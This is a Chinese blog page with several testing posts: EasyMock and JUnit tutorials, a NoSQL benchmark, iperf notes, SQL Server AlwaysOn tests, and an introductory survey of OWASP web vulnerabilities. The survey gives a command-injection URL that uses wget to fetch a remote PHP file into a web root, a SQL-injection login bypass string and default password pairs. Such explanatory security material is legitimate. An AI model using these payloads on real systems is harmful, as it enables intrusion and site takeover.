* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat;
import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
/**
* 会计师类
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.Accountant.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
*    修改记录
*    修改后版本:     修改人:  修改日期:     修改内容:
* </pre>
*/
public class Accountant {
private IPersonalIncomeTax personalIncomeTax;
public Accountant(){
}
public double calculateSalary(double income){
//税前扣除,五险一金中个人扣除的项目。8%的养老保险,2%的医疗保险,1%的失业保险,8%的住房公积金
double deductedBeforeTax = income*(0.08+0.02+0.01+0.08);
return income - deductedBeforeTax - personalIncomeTax.calculate(income,deductedBeforeTax);
}
/**
* @return the personalIncomeTax
*/
public IPersonalIncomeTax getPersonalIncomeTax() {
return personalIncomeTax;
}
/**
* @param personalIncomeTax the personalIncomeTax to set
*/
public void setPersonalIncomeTax(IPersonalIncomeTax personalIncomeTax) {
this.personalIncomeTax = personalIncomeTax;
}
}
  iii. 测试会计师类中计算工资方法
  或许你不知道个人所得税的计算方式。但是你可以去百度一下。对,百度上有个人所得税计算器。和2011年出台的个人所得税阶梯税率。
  通过百度的帮忙(更多的时候你要求助于业务组的同事)你可以确认如果你同事的个人所得税的计算接口正确的话,传入国内实际收入8000.00,税前扣除1520.00。应该返回193.00的扣税额。然后我们可以设置我们的Mock对象的行为来模仿接口的传入和返回。用断言来确认会计师的计算工资的逻辑。完成了我们的测试用例。
/**
* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat.test;
import static org.easymock.EasyMock.*;
import junit.framework.Assert;
import org.easymock.IMocksControl;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import com.fitweber.wheat.Accountant;
import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
/**
* 会计师测试类
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.test.AccountantTest.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
*    修改记录
*    修改后版本:     修改人:  修改日期:     修改内容:
* </pre>
*/
public class AccountantTest {
private IPersonalIncomeTax personalIncomeTax;
private Accountant accountant;
/**
* @throws java.lang.Exception
*/
@Before
public void setUp() throws Exception {
IMocksControl control = createControl();
personalIncomeTax = control.createMock(IPersonalIncomeTax.class);
accountant = new Accountant();
accountant.setPersonalIncomeTax(personalIncomeTax);
}
/**
* @throws java.lang.Exception
*/
@After
public void tearDown() throws Exception {
System.out.println("----------AccountantTest中的全部用例测试完毕---------");
}
@Test
public void testCalculateSalary(){
//个人所得税的计算接口还没实现,但会计师的计算工资的方法已经写好了。需要测试。
//我们可以先Mock一个出来测试。
//个人所得税的计算接口正确的话,传入实际收入8000.00,税前扣除1520.00。应该返回193.00.
expect(personalIncomeTax.calculate(8000.00,1520.00)).andReturn(193.00);
//设置到回放状态
replay(personalIncomeTax);
//验证计算工资方法计算是否正确。
Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
verify(personalIncomeTax);
}
}

4. 执行测试
  最后是最简单的一步了。右键点击AccountantTest.java,Run As —> JUnit Test。得到下面的成功界面。
  PS:到上面一步,单元测试已经是完成了。拥有好奇心的你还可以testCalculateSalary()方法里的数值去看看如果单元测试不通过会报什么错。
  比如,改一下所传的参数personalIncomeTax.calculate(8000.00,1520.00)变为personalIncomeTax.calculate(9000.00,1520.00)。
  改一下断言什么的,报错又会是什么。Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
  具体的EasyMock文档在网络上已经漫天飞。自己去找找,深入了解下EasyMock。

posted @ 2014-12-22 23:43 顺其自然EVO 阅读(379) | 评论 (0)编辑 收藏

渗透测试必知必会—Web漏洞

  0x00前言
  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待
  0x01 目录
  0x00 前言
  0x01 目录
  0x02 OWASP TOP10 简单介绍
  0x03 乌云TOP 10 简单介绍
  0x04 非主流的WEB漏洞
  0x02 OWASP TOP10 简单介绍
  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个
  直接说2013的:
  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具
  命令注入相对来说出现得较少,形式可以是:
  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行
  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。
  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。
  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。
  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:
  案例1:空口令
  乌云:国内cisco系列交换机空密码登入大集合
  乌云:UC某服务器可空口令访问数据库
  案例2:弱口令
  乌云:盛大某站后台存在简单弱口令可登录  admin/admin
  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456
  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat
  案例3:万能密码
  乌云:移动号码上户系统存在过滤不严  admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)
  弱口令案例实在不一而足
  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456
如果要继续深究下去或者取得更多数据进行分析的话,结局就会如猪猪侠总结的那样:
  当然会话存在的安全问题也是需要考虑的,可以是令牌、token被窃取,尤其当会话没有设置生命周期时很容易出现会话/身份被劫持
  会话管理问题可以是用户A登陆了某个地址,但是没有注销(奇葩情况是注销无效),直接退出了浏览器又没有清除cookie,如果说这时候有B借用A的电脑,他直接以A的身份登陆该地址是没有问题的,这不是服务端的问题。但假设之后A都没有访问改地址,而是把电脑合上待机了,第二天如果B借用他的电脑直接登陆了该地址,则责任在于服务端的会话管理不当,没有设置超时时间。除此之外,还有会话重放、会话信息泄露等问题。说到会话信息泄露,不禁想起将sessionid放在URL中的情形,鄙人暂未遇到直接利用这个可以窃取会话的,但不排除其可能
  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。
  A4: 不安全的直接对象引用,访问控制不当的问题,常见为越权操作(横向+纵向),譬如:遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作,最激动人心的是可以进行刷钱等操作。越权问题并不高深,相比SQL注入和XSS技术难度还要低一点,因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单,当用户需要访问某资源或进行操作时,服务器端取出来访用户的session值,判断是否具有访问或操作权限。
  在访问控制操作中,我们可以设定某一资源或文件A可以访问、B不能访问,但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限,作为一个会话属性,属于自己的才可以操作或访问,具体情况具体讨论。
  案例1:水平越权
  乌云:虎扑某功能存在水平越权
  案例2: 垂直越权
  乌云:中国电信某系统管理员WEB界面越权访问
  A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当,直接看运维不当的
  知乎专栏:运维安全(...)
  乌云知识库:从乌云看运维安全那点事儿
  引用一下知识库的内容,问题有:
  struts漏洞
  Web服务器未及时打补丁,有解析漏洞
  PHP-CGI RCE
  FCK编辑器
  server-status信息泄露
  网站备份文件放在web目录,可被下载
  列目录导致可看到敏感数据并查看
  snmp信息泄露
  weblogic弱口令
  SVN信息泄露
  域传送漏洞
  Rsync
  hadoop对外
  nagios信息泄露
  ftp弱口令或支持匿名访问导致信息泄露
  RTX泄露信息
  Ganglia信息泄露
  j2ee应用架构开始占主流,典型的web服务器搭配配置失误
  Jenkins平台没有设置登录验证
  zabbix
  zenoss监控系统
  Resin文件读取
  memcache未限制访问IP
  JBoss问题
  测试服务器外网可访问
  padding oracle attack
  用户名密码放在服务器上……
  A8: 跨站请求伪造(CSRF)
  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例
案例:万达电影主站 xss + csrf
  A10: 无效的重定向
  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行
  0x03 乌云TOP 10 简单介绍
  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心
  A1-互联网泄密事件/撞库攻击
  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧
  A2-引用不安全的第三方应用
  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的
  A3-系统错误/逻辑缺陷带来的暴力猜解
  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制
  A4-敏感信息/配置信息泄露
  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方
  A5-应用错误配置/默认配置
  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等
  A6-SQL注入漏洞
  A7-XSS跨站脚本攻击/CSRF
  A8-未授权访问/权限绕过
  可匿名访问\判断referer值后免登陆
  A9-账户体系控制不严/越权操作
  A10-内部重要资料/文档外泄
  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟
  0x04 非主流的WEB漏洞
  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身
  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)
  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防
  案例:
  1. 乌云:百度某功能XML实体注入
  2. 乌云:139邮箱XXE漏洞可读取文件
  3. 乌云:从开源中国的某XXE漏洞到主站shell
  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了
  案例:
  1. 乌云:百度贴吧SSRF
  2. 乌云:新浪SSRF
  3. 乌云:阿里巴巴SSRF
  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露
  (未完...)

posted @ 2014-12-22 23:42 顺其自然EVO 阅读(1371) | 评论 (0)编辑 收藏

NoSQL性能测试白皮书

  编者按
  最近,bankmark公司针对目前市面上流行的NoSQ数据库SequoiaDB、Cassandra、MongoDB进行了详细的性能测试,InfoQ经授权发布中文版白皮书。
  正文
  1.简介
  作为一项快速发展的极具创新性的IT技术,NoSQL 技术在大数据和实时网页应用中的运用在最近几年呈现了大量的增长。因为NoSQL数据库的存储允许更灵活的开发方式和执行方式,这些NoSQL数据库能够在许多的工商业应用领域很好地替代传统关系型数据库(RDBMS)。因为弱化了RDBMS的一些特征,如一致性和关系型数据模型,NoSQL技术大大提高了数据库的可扩展能力和可用性。
  在这份报告中,bankmark针对一系列的基准测试实验做了报告,这些测试是为了对比SequoiaDB和现在市面上的其他一些NoSQL产品在不同的负载情境下的性能表现。因此,bankmark的测试团队使用了 Yahoo Cloud Serving Benchmark(YCSB)方案作为测试的工具。bankmark团队针对所有的系统使用了可能出现的所有配置方案,最终选择了哪些造成了较大的性能瓶颈的配置方案,在此过程中,我们参考了所有这些数据库的官方文档,和其他所有公开的技术资料。所有的主要方案我们都会在报告中详细记录,一份完全详细的报告还会包括所有的配置细节。
  现在的这一份报告,bankmark着重于每款数据库在不同的用例下的性能表现,同时也保证了不同结果间的最大可比性。这些大量测试的一个目的之一就是得到这些产品最真实的性能表现。另一方面,分布式的测试环境需要一定的优化来满足数据库集群环境运行的需要。所有的被测试系统都按照集群的需求来进行配置,其中还有一些针对分区操作进行的优化,以满足结果的可比较性。
  所有的测试都由bankmark团队完成,所有重要的细节包括物理环境、测试配置信息等都在测试报告中有详细的记录,我们还将一份详细版本的报告,这份报告将能确保我们进行的实验都是可重复的。
  2.测试结果概述
  在我们的测试中,对三款数据库产品进行了比较,SequoiaDB[1]、Cassandra[2]以及 MongoDB[3]。所有的产品都在一个10节点集群的“全内存环境”(原始数据大小为总RAM大小的1/4)或是“大部分内存环境”(原始数据大小为总RAM大小的1/2)的环境下进行安装测试。我们选用业界广泛使用的YCSB工具作为基准性能测试的平台。在所有测试中,所有的数据都进行3次复制备份,以应对容错操作。复制测试则使用了倾斜负载(Zipfian或是最新的分发版)。详细的配置将在下面展示,也会在之后的详细版报告中记录。
  所有测试的结果没有显示出三款之中一个完全的最优者。
  我们的“大部分内存环境”下的测试显示Cassandra 使用了最多的内存,因此也需要在多读少写负载的情况下,进行更多的磁盘I/O操作,这也导致了其严重的性能下降。在“大部分内存环境”的设定下,SequoiaDB的性能在大多数情境下都大大优于其他的产品,除了在Cassandra的强项多写少读负载。
  在“全内存环境”(原始数据大小为总RAM大小的1/4)下,SequoiaDB在读请求下表现更好,而Cassandra在写请求下表现稍好。MongoDB则几乎在所有的测试情境下都垫底。
  3.硬件和软件配置
  这一个部分,我们将介绍这次测试中我们所使用的软件和硬件环境。这次的测试是在SequoiaDB的实验室中一个集群上进行的,所有的测试都在物理硬件上进行,没有使用任何虚拟化的层级。基本系统的搭建以及MongoDB和SequoiaDB的基本安装操作都是由训练有素的专业人员进行的。bankmark有着完全的访问集群和查看配置信息的权限。Cassandra则由bankmark来进行安装。
  3.1集群硬件
  所有的数据库测试都在一个10节点的集群上进行(5台 Dell PowerEdge R520 服务器,5台Dell PowerEdge R720 服务器),另外还有5台HP ProLiant BL465c刀片机作为YCSB客户端。详细硬件信息如下:
  3.1.1 5x Dell PowerEdge R520 (server)
  1x Intel Xeon E5-2420, 6 cores/12 threads, 1.9 GHz
  47 GB RAM
  6x 2 TB HDD, JBOD
  3.1.2 5x Dell PowerEdge R720 (server)
  1x Intel Xeon E5-2620, 6 cores/12 threads, 2.0 GHz
  47 GB RAM
  6x 2 TB HDD, JBOD
  3.1.3 5x HP ProLiant BL465c (clients)
  1x AMD Opteron 2378
  4 GB RAM
  300 GB logical HDD on a HP Smart Array E200i Controller, RAID 0

  3.2集群软件
  集群以上述的硬件为物理系统,而其中则配置了不同的软件。所有的软件实用信息以及对应的软件版本信息如下:
  3.2.1 Dell PowerEdge R520 and R720 (used as server)
  操作系统(OS): Red Hat Enterprise Linux Server 6.4
  架构(Architecture): x86_64
  内核(Kernel): 2.6.32
  Apache Cassandra: 2.1.2
  MongoDB: 2.6.5
  SequoiaDB: 1.8
  YCSB: 0.1.4 master (brianfrankcooper version at Github) with bankmark changes (see 4.1)
  3.2.2 HP ProLiant BL465c (used as client)
  操作系统(OS): SUSE Linux Enterprise Server 11
  架构(Architecture): x86_64
  内核(Kernel): 3.0.13
  YCSB: 0.1.4 master (brianfrankcooper version at Github) with bankmark changes (see 4.1)
  4.安装过程
  三款数据库系统使用YCSB进行基准测试,分别是Apache Cassandra、MongoDB 以及 SequoiaDB。下来这一部分,分别介绍了这三者如何安装。集群上运行的数据库系统使用3组副本以及3组不同的磁盘。压缩性能的比较只在带有此功能的系统上进行。
  4.1集群内核参数
  下面的配置参数为三款数据库系统共同使用:
  vm.swappiness = 0
  vm.dirty_ratio = 100
  vm.dirty_background_ratio = 40
  vm.dirty_expire_centisecs = 3000
  vm.vfs_cache_pressure = 200
  vm.min_free_kbytes = 3949963
  4.2 APACHE CASSANDRA
  Apache Cassandra在所有服务器上都按照官方文档[4]进行安装,其配置也按照推荐的产品配置[5] 进行。提交的日志和数据在不同的磁盘进行存储(disk1 存储提交的日志,disk5和disk6 存储数据)。
  4.3 MONGODB
  MongoDB由专业的工作人员安装。为了使用三个数据磁盘以及在集群上运行复制组,我们根据官方文档有关集群安装的介绍[6],使用了一套复杂的方案。3个集群点上都启动了配置服务器。在十台服务器上,每台一个mongos实例(用于分区操作)也同时启动。每一个分区都被加入集群当中。为了使用所有三个集群以及三个复制备份,10个复制组的分布按照下表进行配置(列 为集群节点):
  MongoDB没有提供自动启动已分区节点的机制,我们专门为了10个集群节点将手动启动的步骤写入了YCSB工具当中。
  4.4 SEQUOIADB
  SequoiaDB由专业的工作人员按照官方文档进行安装[7]。安装设置按照了广泛文档中有关集群安装和配置[8]的部分进行。SequoiaDB可以用一个统一的集群管理器启动所有的实例,内置的脚本 “sdbcm”能用来启动所有服务。三个数据库系统的节点由catalog节点进行选择。三个SequoiaDB的实例在每个节点启动,访问自己的磁盘。
  4.5 YCSB
  YCSB在使用中存在一些不足。它并不能很好的支持不同主机的多个YCSB实例运行的情况,也不能很好支持多核物理机上的连续运行和高OPS负载。 此外,YCSB也不是很方便温服。bankmark根据这些情况,对资源库中的YCSB 0,1,14版本 其做了扩展和一些修改优化。较大的改动如下:
  增加了自动测试的脚本
  Cassandra的jbellis驱动
  MongoDB的achille驱动
  增加批插入功能(SequoiaDB提供)
  更新了MongoDB 2_12的驱动借口,同时增加了flag属性来使用批处理模式中的”无序插入“操作。
  SequoiaDB驱动
  针对多节点安装配置以及批量加载选项的一些改动

 5.基准测试安装
  如下的通用和专用参数为了基准测试而进行运行:
  十台服务器(R520、R720)作为数据库系统的主机,五台刀片机作为客户端。
  使用第六台刀片机作为运行控制脚本的系统
  每个数据库系统将数据写入3块独立的磁盘
  所有测试运行都以3作为复制备份常数
  bankmark的YCSB工具,根据工作说明中的测试内容提供了负载文件:
  对于数据载入,workload[1-5]-warmup或者workload[1-5]文件都可以使用,需要根据具体的需求载入类型选择。5种负载中的每一个都会被分为一个针对最终结果的负载文件和一个在真正运行测试之前运行的预热文件。为了避免和YCSB的内部访问记录控制部分冲突,预热阶段将不会进行插入操作。通过一个线程扩展的测试,我们发现每个YCSB实例将会使用64个线程对于所有的3个系统都是表现最好的。
  如下是测试中用到的其他的参数:
  尽可能的使用压缩功能
  每个YCSB客户端的线程数:64
  产生:
  测试用例1:2亿(2000万每个节点)记录
  测试用例2:1亿(1000万每个节点)记录
  每条记录由键user<ID> 和 十个域 Field<ID> 组成。YCSB默认的记录大小为100byte,最终的平均记录大小为1128 Bytes (10 fields + field names + key)
  每个key value存储的通用基准测试步骤为:
  启动数据库服务器
  迭代提供的负载文件中的5个负载:
  运行单数据载入(无时间限制,负载文件中的 workload[1-5]-warmup)
  暂停30分钟给每个系统进行清空等操作
  运行30分钟的负载预热操作(负载文件中的 workload[1-5]-warmup)
  运行30分钟的负载(负载文件中的 workload[1-5])
  停止数据库服务器
  5.1指导方针/ 步骤
  所有的系统都运行一次单条载入,一次预热还有一次正式测试。对于支持批量载入的系统,MongoDB和SequoiaDB,还有一项批量载入的测试要运行。
  5.2配置信息矩阵


6.基准测试结果
  6.1测试用例1(2亿记录/ 2000万每节点)
  在此测试中,原始数据大约为总系统RAM的45%。

6.2测试用例2(1亿记录/ 1000万每节点)
  在此测试中,原始数据大约为总系统RAM的22%。
  7.关于作者
  Tilmann Rabl是多伦多大学(University of Toronto)的博士后以及bankmark公司的CEO。他的研究主要针对于大数据的基准测试以及大数据系统方面。Michael Frank是bankmark公司的CTO,他是工业标准的基准测试方案Parallel Data Generation Framework(PDGF)的核心开发成员之一。ManuelDanisch是bankmark公司的COO。他是BigBench大数据分析基准测试系统的主要开发者之一,此外他还是Transaction Processing Performance Council(TPC) 基准测试 TPC-DI的数据贡献者。
  bankmark是一家独立的基准测评机构,公司为大数据提供了革命性的基准测试方案。受创新技术的推动,bankmark产生了许多优秀而有质量的测试,同时还对很多概念系统进行了验证并成功的将这些概念系统进行生产力模拟以及成本模拟。以前沿科学研究为基础的技术,保证了史无前例的质量和速度。
  bankmark是工业基准测试标准化协会SPEC和TPC的独立成员之一,他们的技术基于TPC-DI和BigBench等基准测试标准。
  8.参考资料
  [1] http://www.sequoiadb.com/
  [2] http://cassandra.apache.org/
  [3] http://www.mongodb.org/
  [4] http://www.datastax.com/documentation/cassandra/2.1/cassandra/install/installRHEL_t.html
  [5] http://www.datastax.com/documentation/cassandra/2.1/cassandra/install/installRecommendSettings.html
  [6] http://docs.mongodb.org/manual/tutorial/deploy-shard-cluster/
  [7] http://www.sequoiadb.com/en/document/1.8/installation/server_installation/topics/linux_en.html
  [8] http://www.sequoiadb.com/en/document/1.8/installation/configuration_start/topics/cluster_en.html

posted @ 2014-12-22 23:31 顺其自然EVO 阅读(441) | 评论 (0)编辑 收藏

Iperf性能测试的问题小结

1. Iperf用文件作为数据源无效的问题
  Iperf生成的数据包,默认是0-9这10个数字的循环(十六进制的话就是0x30-0x39的循环),我们可能需要去人工指定数据内容,比如全都置成0来方便的查看物理传输过程中的出错情况,于是我造了一个数据文件之后调用:
  iperf -F /root/input_data -c 1.1.1.11 ……
  我修改了一下顺序,同时修改了部分代码之后(所以其实也可能是代码问题,不一定是顺序的问题)先设定目标ip,然后指定文件:
  iperf -c 1.1.1.11 -F /root/input_data……
  就可以了。
  2. 在代码中修改iperf数据,iperf无法收到,但在mac层能拿到数据
  如果不使用问题1所述的用源数据文件的方法,而是在发送方的驱动里面强行修改了数据包的内容,会发现在接收方的驱动中是能够收到数据包的,但是iperf却不能正常接收到数据包,原因如下:
  Iperf在传输层之后还有一个36字节长的首部,作为iperf应用层的首部,如果修改了数据,将导致传传输层/应用层校验失败(传输层使用UDP协议的话,就应该是应用层校验失败了),因此包会被丢掉,iperf无法统计到。
  3. TCP发不出去包的问题
  使用iperf发udp是没有问题的,但是发tcp就有问题,最后发现是因为我指定了带宽:
  iperf -c xxx.xxx.xxx.xxx -i 1 -b 600M ...
 

posted @ 2014-12-22 23:28 顺其自然EVO 阅读(705) | 评论 (0)编辑 收藏

AlwaysOn可用性组功能测试(3)-其他测试

  三、 大数据量操作的时候发生的切换
  1、对表进行大量插入,执行1千万遍,如下语句
  insert into aa
  select * from sys.sysprocesses
  go 10000000
  2、在执行以上大量插入过程中,进行故障转移
  ALTER AVAILABILITY GROUP alwayson01 FAILOVER
  3、转移时间30秒,下图为转移过程恢复alwayson01数据库的日志记录;在恢复过程中发现有大量redo操作,需要等待日志写入到新副本,才能切换。由此可见如果大数据量操作时候发生切换,由于要实现同步,切换将会很缓慢。
  测试总结
  切换过程会先停止原主副本的操作,新主副本实现同步;若存在大事务则需要大量io和cpu重做事务,因此切换会存在延迟或者失败。
  四、 手动切换后如何实现用户权限同步
  1、 在CLUSTEST03\CLUSTEST03新建用户uws_test,具有alwaysOn01的读写权限。
  2、 切换后,客户端需要继续使用uws_test连接数据库,必须要求SERVER03也存在uws_test用户,并同时存在读写权限。需要新建与CLUSTEST03\CLUSTEST03相同sid的uws_test用户,由于当前SERVER03的副本不可使用,因此不能赋予其他权限。
  -- Login: uws_test
  CREATE LOGIN [uws_test]
  WITH PASSWORD = 0x0200C660EBCDC35F583546868ADFF2DC0D7213C30E373825E4E6781C024122E646A86355D040FDB12AAC523499FCEE799BB4F78DA47131E40DB33180434EA80C9873F0B19A9E HASHED,
  SID = 0xE4382508B889704E8291DBF759B5BDA8, DEFAULT_DATABASE = [master], CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF
  3、 执行切换语句后,查看SERVER03上uws_test用户权限是否已经同步。
  ALTER AVAILABILITY GROUP alwayson01 FAILOVER
  测试总结
  1、 只有在备机新建相同sid的用户才能实现权限同步。
  2、 若只是新建相同名字的用户,则会导致切换后,数据库存在孤立用户,相同名字的用户也不会有权限。
五、 主\辅助副本自动备份切换实现测试
  1、 利用一下语句,确认首选备份
  if ( sys.fn_hadr_backup_is_preferred_replica('alwayson01'))=1
  begin
  print '开始备份'
  print '结束备份'
  end
  else
  print '不备份'
  2、 当前实例在SERVER03上,目前是以首选辅助副本未备份。
  因此会有以下三种情况
  情况一:在SERVER03不能执行备份,应该在CLUSTEST03\CLUSTEST03上执行
  2.1 在SERVER03上不能执行备份,如下图所示
  2.2 在CLUSTEST03\CLUSTEST03上能执行备份,如下图所示
  情况二:CLUSTEST03\CLUSTEST03挂机,可在主副本SERVER03上备份
  2.3 将CLUSTEST03\CLUSTEST03脱机,如下所示界面
  2.4 可在SERVER03上执行备份


情况三:主备发生切换,可在SERVER03备份,不能在CLUSTEST03\CLUSTEST03上备份
  2.5 将主副本切换到CLUSTEST03\CLUSTEST03
  2.6 可在SERVER03【新辅助副本】上备份
  2.7 不可在CLUSTEST03\CLUSTEST03【新主副本】上备份
相关文章:


posted @ 2014-12-22 23:27 顺其自然EVO 阅读(517) | 评论 (0)编辑 收藏

开发者的Java测试用例浅析

前段时间,在项目组里做了一点java测试用例,虽然没有全自动化,也完成了半自动化的测试。比如:针对接口的测试,提供服务的测试等,都不需要启动服务,也不需要接口准备好。我们只需要知道输入输出,便可以进行testcase的编写,这样很方便。我们这边这次完成的针对某一块业务。
  看一下一部分的完成情况
  这次的主要目的还是来讲TestCase
  那什么是TestCase?
  是为了系统地测试一个功能而由测试工程师写下的文档或脚本;
  Junit测试是程序员测试,即白盒测试(个人理解);
  具体到junit.framework. TestCase这个抽象类
  其实网上有很多关于这方面的帖子,博客之类的,大家也可以找找,学习学习。毕竟我这里的理解还是很肤浅的
  那第二点,为什么需要编写测试用例?
  通俗易懂一点:写的目的就是为了记录,并加以完善,因为测试一个功能往往不是走一遍就OK的,需要反复的改,反复的测,直到功能可以提交给客户。
  深度提炼一点:
  1) 测试用例被认为是要交付给顾客的产品的一部分。测试用例在这里充当了提高可信度的作用。典型的是UAT(可接受)级别。
  2) 测试用例只作为内部使用。典型的是系统级别的测试。在这里测试效率是目的。在代码尚未完成时,我们基于设计编写测试用例,以便一旦代码准备好了,我们就可以很快地测试产品。
  具体的参考:http://www.51testing.com/html/41/n-44641.html
  深入的也不多说,网上这种东西很多。
  正题:
  使用JUnit时,主要都是通过继承TestCase类别来撰写测试用例,使用testXXX()名称来撰写单元测试
  用JUnit写测试真正所需要的就三件事:
  1.  一个import语句引入所有junit.framework.*下的类。
  2.  一个extends语句让你的类从TestCase继承。
  3.  一个调用super(string)的构造函数。
  下面可以看一下TestCase的文档介绍里的Example
  1.构建一个测试类
  public class MathTest extends TestCase {
  protected double fValue1;
  protected double fValue2;
  protected void setUp() {
  fValue1= 2.0;
  fValue2= 3.0;
  }
  }
  2.一个Test方法以及断言使用
  public void testAdd() {
  double result= fValue1 + fValue2;
  assertTrue(result == 5.0);
  }
  3.运行单个方法的使用
  TestCase test= new MathTest("add") {
  public void runTest() {
  testAdd();
  }
  };
  test.run();
  或者
  TestCase test= new MathTest("testAdd");
  test.run();

4.运行一组测试用例
  public static Test suite() {
  suite.addTest(new MathTest("testAdd"));
  suite.addTest(new MathTest("testDividByZero"));
  return suite;
  }
  还有下面这种方式
  public static Test suite() {
  TestSuite suite = new TestSuite("Running all tests.");
  /*10000*/
  suite.addTestSuite(TestAgentApi.class);
  /*10001*/
  suite.addTestSuite(TestAgentUxxApi.class);
  }
  运行6个,5个没有通过,一目了然。
  setUp和tearDown
/**
* Sets up the fixture, for example, open a network connection.
* This method is called before a test is executed.
*/
protected void setUp() throws Exception {
}
/**
* Tears down the fixture, for example, close a network connection.
* This method is called after a test is executed.
*/
protected void tearDown() throws Exception {
}
